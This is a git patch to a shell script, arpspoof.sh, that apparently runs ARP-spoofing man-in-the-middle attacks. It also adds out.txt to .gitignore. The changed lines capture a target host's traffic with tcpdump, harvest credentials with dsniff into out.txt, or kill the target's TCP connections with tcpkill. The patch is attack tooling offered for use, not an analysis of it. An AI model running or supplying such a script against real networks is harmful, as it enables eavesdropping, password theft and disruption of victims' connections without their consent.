From 8f30d7255c880a5491df82d67c821ae0fe011043 Mon Sep 17 00:00:00 2001 From: simono41 Date: Thu, 19 Jul 2018 16:35:22 +0200 Subject: [PATCH] optimize --- .gitignore | 1 + arpspoof.sh | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 7a368da..8470f43 100755 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,4 @@ test2.apk test apk.apk test apk1.apk xnee.xns +out.txt diff --git a/arpspoof.sh b/arpspoof.sh index 4a3a9e8..8034805 100755 --- a/arpspoof.sh +++ b/arpspoof.sh @@ -32,7 +32,7 @@ sleep 2 if [ -z "$3" ]; then tcpkill -9 host $ip elif [ "$3" == "tcpdump" ]; then - tcpdump -i $modul -A host $ip >> out.txt + tcpdump -i $modul -A host $ip > out.txt else - dsniff -i $modul -w out.txt + dsniff -i $modul -mc > out.txt fi